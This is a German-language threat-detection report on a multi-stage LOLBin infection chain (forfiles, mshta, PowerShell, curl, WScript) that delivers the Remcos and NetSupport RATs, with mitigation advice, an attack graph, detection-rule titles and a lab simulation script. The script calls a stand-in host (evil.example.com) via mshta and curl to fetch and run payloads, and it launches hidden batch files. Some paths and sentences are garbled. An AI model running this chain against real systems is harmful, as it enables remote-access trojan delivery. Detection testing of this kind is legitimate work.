Können LOLBins Übermäßig Genutzt Werden, um RAT-Payloads zu Übertragen?
Detection stack
- AIDR
- Alert
- ETL
- Query
Zusammenfassung
Dieser Bericht skizziert eine mehrstufige Infektionskette, die aggressiv Windows-eigene Dienstprogramme (LOLBins) missbraucht, um Fernzugriffstools wie Remcos und NetSupport Manager abzurufen und auszuführen. Der Betreiber verknüpft dafür die Befehle forfiles, mshta, PowerShell, curl, tar, WScript und gezielte Registry-Änderungen, um Nutzlasten in Stufen zu verteilen, Persistenz zu etablieren und die Sichtbarkeit zu verringern. Der Ablauf nutzt zudem das Verhalten „Lebendiges-vom-Land“ aus, um sich leise in die routinemäßigen Verwaltungsaktivitäten einzufügen. Malwarebytes identifizierte die Aktivität und blockierte die zugehörige IP-Adresse. Insgesamt unterstreicht es, wie umfangreicher LOLBin-Missbrauch effektiv RATs liefern kann.
Untersuchung
Forscher sahen zuerst, dass forfiles.exe mshta gestartet hat, welches eine bösartige HTA abrief, die PowerShell ausführte, um ein PDF-Decoy zu holen, das ein TAR-Archiv trug. Nach der Extraktion warf eine trojanisierte glaxnimate.exe fragmentierte Komponenten in ProgramData ab, die dann mit WScript, Batch-Skripten und unterstützenden Dateien neu zusammengesetzt und gestartet wurden. Die Persistenz wurde durch das Erstellen eines UserInitMprLogonScript-Werts in HKCUEnvironment festgelegt, der auf eine bösartige Client-Binärdatei verwies.
Minderung
Überwachen Sie auf anomale LOLBin-Ausführungen, insbesondere forfiles, mshta, curl, tar, expand und verdächtige Registry-Bearbeitungen innerhalb von HKCUEnvironment. Durchsetzen der Anwendungswhitelist, umfassendes PowerShell-Logging aktivieren und Skriptausführungen von ProgramData verhindern, um die Inszenierung einzuschränken. Sperren Sie ungewöhnlichen ausgehenden HTTP-Verkehr zu unbekannten IPs und wenden Sie URL-Filter an, um initiale Download-Versuche zu unterbrechen.
Reaktion
Bei Entdeckung isolieren Sie den Host, erfassen Sie vollständige Befehlszeilentelemetriedaten und sammeln Sie abgelegte Artefakte zur Hash-Analyse. Entfernen Sie den bösartigen Registry-Eintrag und löschen Sie in ProgramData erstellte Dateien. Führen Sie einen Endpunkt-Scan mit aktuellen AV-Signaturen aus und implementieren Sie ein netzwerkweites Blockieren der Angreifer-IP-Adresse und aller damit verbundenen Domains.
graph TB %% Class definitions classDef technique fill:#ffcc99 classDef process fill:#c2f0c2 classDef action fill:#99ccff classDef tool fill:#dddddd classDef malware fill:#ff9999 %% Nodes initial_access[„<b>Technik</b> – T1218.005: Mshta.exe<br/><b>Beschreibung</b> Verwendung von forfiles.exe zum Starten von mshta und Herunterladen von HTA“] class initial_access technique process_mshta[„<b>Prozess</b>: mshta.exe<br/><b>Aktion</b> Führt Remote-HTA aus“] class process_mshta process download_htapayload[„<b>Aktion</b> – HTA herunterladen<br/><b>Werkzeug</b> mshta“] class download_htapayload action cmd_execution[„<b>Technik</b> – T1059.003: Windows-Befehlsinterpreter<br/><b>Beschreibung</b> HTA startet cmd.exe“] class cmd_execution technique powershell_one_liner[„<b>Technik</b> – T1059.001: PowerShell<br/><b>Beschreibung</b> One-Liner lädt Payload als PDF herunter, extrahiert mit tar, startet glaxnimate.exe“] class powershell_one_liner technique local_staging[„<b>Technik</b> – T1074.001: Lokales Staging<br/><b>Beschreibung</b> Erstellt .PART-Dateien in ProgramData“] class local_staging technique vbscript_execution[„<b>Technik</b> – T1059.005: Visual Basic<br/><b>Beschreibung</b> wscript.exe führt processor.vbs aus, das einen versteckten cmd startet, um patcher.bat auszuführen“] class vbscript_execution technique archive_extraction[„<b>Technik</b> – T1560.001: Archivextraktion<br/><b>Beschreibung</b> expand extrahiert setup.cab, das NetSupport RAT enthält“] class archive_extraction technique persistence[„<b>Technik</b> – T1547.014: Registry Run Keys / Startup-Ordner<br/><b>Beschreibung</b> HKCU\\Environment\\UserInitMprLogonScript auf client32.exe gesetzt“] class persistence technique client32[„<b>Malware</b> client32.exe<br/><b>Zweck</b> Wird beim Anmelden ausgeführt“] class client32 malware glaxnimate[„<b>Malware</b> Trojanisiertes glaxnimate.exe<br/><b>Zweck</b> Führt bösartigen Payload aus“] class glaxnimate malware netsupport[„<b>Malware</b> NetSupport RAT<br/><b>Zweck</b> Remote-Access-Payload“] class netsupport malware %% Connections initial_access –>|nutzt| process_mshta process_mshta –>|lädt herunter| download_htapayload download_htapayload –>|führt aus| cmd_execution cmd_execution –>|löst aus| powershell_one_liner powershell_one_liner –>|staged Dateien| local_staging local_staging –>|führt aus| vbscript_execution vbscript_execution –>|extrahiert| archive_extraction archive_extraction –>|installiert| glaxnimate glaxnimate –>|installiert| netsupport netsupport –>|führt zu| persistence persistence –>|führt aus| client32
Angriffsfluss
Erkennungen
LOLBAS WScript / CScript (über Prozess-Erstellung)
Anzeigen
Verdächtige CURL-Nutzung (über cmdline)
Anzeigen
Mögliche Persistenzpunkte [ASEPs – Software/NTUSER Hive] (über cmdline)
Anzeigen
Verdächtige extrahierte Dateien aus einem Archiv (über file_event)
Anzeigen
LOLBAS ForFiles (über cmdline)
Anzeigen
Erkennung von LOLBin-Missbrauch zur Bereitstellung von Remote-Zugriffs-Trojanern [Windows Prozess-Erstellung]
Anzeigen
Simulationsausführung
Voraussetzung: Der Telemetrie- und Basislinien-Vorflug-Check muss bestanden sein.
Begründung: Dieser Abschnitt beschreibt die präzise Ausführung der Techniken des Gegners (TTP), die darauf abzielen, die Erkennungsregel auszulösen. Die Befehle und die Erzählung müssen direkt die identifizierten TTPs widerspiegeln und darauf abzielen, die genaue Telemetrie zu erzeugen, die von der Erkennung erwartet wird.
-
Angriffserzählung & Befehle:
Der Rot-Team-Betreiber beabsichtigt, den Remcos RAT einzusetzen, indem eine Kette von LOLBins genutzt wird, um den direkten Download eines ausführbaren Programms zu vermeiden.- Entdeckung & Inszenierung: Use
forfiles.exeum ein Zielverzeichnis zu finden undmshtamit einer bösartigen URL zu starten, die eine HTA-Nutzlast hostet. - Dateiloses PowerShell-Download: aufrufen
powershell.exemit-NoProfile -Command curlum ein Skript der zweiten Stufe von einem C2-Server abzurufen. - VBScript-Ausführung: Einen erstellten
processor.vbsviaWScript.exebereitstellen, um die RAT-Binärdatei zu schreiben nach%ProgramData%. - Batch-Dropper: Führen Sie eine versteckte Batch-Datei (
patcher.bat) übercmd.exeaus, das überIWshShell3.Runaufgerufen wird, um die Persistenz abzuschließen.
Jeder Schritt erzeugt ein eindeutiges Prozess-Erstellungsereignis, das zu einer der Sigma-Wahlen passt und somit die Regel auslöst.
- Entdeckung & Inszenierung: Use
-
Regressions-Test-Skript:
Das unten stehende Skript reproduziert die vier Selektionen in einem kontrollierten Labor. Es protokolliert jeden Befehl in einer temporären Datei zur späteren Überprüfung.#------------------------------------------------- # LOLBin-Missbrauchssimulation – löst Sigma-Regel aus #------------------------------------------------- $log = "$env:TEMPlolbin_simulation.log" Clear-Content -Path $log -ErrorAction SilentlyContinue # 1. forfiles.exe -> mshta $cmd1 = 'forfiles /p C:WindowsSystem32 /m *.exe /c "cmd /c mshta https://evil.example.com/payload.hta"' Write-Output "[+] Ausführen: $cmd1" | Tee-Object -FilePath $log Invoke-Expression $cmd1 # 2. powershell.exe -> curl download $cmd2 = 'powershell.exe -NoProfile -Command "curl https://evil.example.com/stage.ps1 -OutFile $env:TEMPstage.ps1"' Write-Output "[+] Ausführen: $cmd2" | Tee-Object -FilePath $log Invoke-Expression $cmd2 # 3. wscript.exe -> processor.vbs $vbsPath = "$env:ProgramDataprocessor.vbs" @" Set fso = CreateObject("Scripting.FileSystemObject") fso.CreateTextFile("$env:ProgramDataremcos.exe").Write "malicious" "@ | Set-Content -Path $vbsPath -Encoding ASCII $cmd3 = "C:WindowsSystem32WScript.exe `"$vbsPath`"" Write-Output "[+] Ausführen: $cmd3" | Tee-Object -FilePath $log Invoke-Expression $cmd3 # 4. IWshShell3.Run -> cmd /c patcher.bat $batPath = "$env:ProgramDatapatcher.bat" "@ echo @echo off > %TEMP%nothing.txt "@ | Set-Content -Path $batPath -Encoding ASCII $cmd4 = "cscript //nologo //e:jscript `"var sh = new ActiveXObject('WScript.Shell'); sh.Run('cmd.exe /c %ProgramData%patcher.bat',0,true);`"" Write-Output "[+] Ausführen: $cmd4 (über IWshShell3.Run)" | Tee-Object -FilePath $log Invoke-Expression $cmd4 Write-Output "[+] Simulation abgeschlossen." | Tee-Object -FilePath $log -
Aufräumkommandos:
Entfernen Sie Artefakte, um den Host in einen sauberen Zustand zu versetzen.# Entfernen von LOLBin-Simulationsartefakten Remove-Item -Path "$env:ProgramDataprocessor.vbs" -ErrorAction SilentlyContinue Remove-Item -Path "$env:ProgramDataremcos.exe" -ErrorAction SilentlyContinue Remove-Item -Path "$env:ProgramDatapatcher.bat" -ErrorAction SilentlyContinue Remove-Item -Path "$env:TEMPstage.ps1" -ErrorAction SilentlyContinue Remove-Item -Path "$env:TEMPlolbin_simulation.log" -ErrorAction SilentlyContinue Write-Output "[+] Aufräumen abgeschlossen."